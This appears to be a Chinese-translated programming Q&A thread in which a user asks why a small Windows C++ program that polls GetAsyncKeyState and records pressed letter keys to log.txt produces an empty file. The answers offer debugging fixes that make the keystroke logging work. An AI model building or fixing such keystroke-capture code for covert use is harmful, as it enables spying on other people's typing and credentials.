我正在使用代码块中的GNU GCC编译器编译此代码但由于某种原因,无论如何,它创建的日志文件仍为空。任何想法为什么会这样?
#include <iostream>
#include <windows.h>
#include <string>
#include <fstream>
using namespace std;
int i;
string s;
int main()
{
ofstream log;
log.open("log.txt");
while (!GetAsyncKeyState(VK_F8)) {
for (i=65; i<90; i++) {
if (GetAsyncKeyState(i)) {
s+=i;
}
Sleep(10);
}
if (GetAsyncKeyState(VK_SPACE)) {
s+=" ";
}
}
log << s;
log.close();
cin.get();
}
答案 0 :(得分:1)
考虑以下几点:
您是否在条件下尝试log << "TEST"
?
尝试此操作(在log.open
调用之后):
log.open("log.txt");
log << "TEST" << endl;
如果TEST
被写入文件,则您的文件为空,因为条件永远不会成立。
另一个问题可能是该文件包含不可显示的字符。
将文件转储到十六进制编辑器。该文件的大小是0
还是包含您可能无法在常用文本编辑器上显示的数据?
* 编辑:* 这应该符合您的要求:
将i
或" "
直接写入log
或使用字符串流:
#include <sstream>
//...
ofstream log;
log.open("log.txt");
stringstream str;
while (!GetAsyncKeyState(VK_F8)) {
for (i=65; i<90; i++) {
if (GetAsyncKeyState(i)) {
str << i;
}
Sleep(10);
}
if (GetAsyncKeyState(VK_SPACE)) {
str << " ";
}
}
log << str.rdbuf();
log.close();
cin.get();
答案 1 :(得分:1)
尝试使用if(GetKeyState(0x41))
替代if
。
答案 2 :(得分:0)
您很可能在错误的目录中寻找 log.txt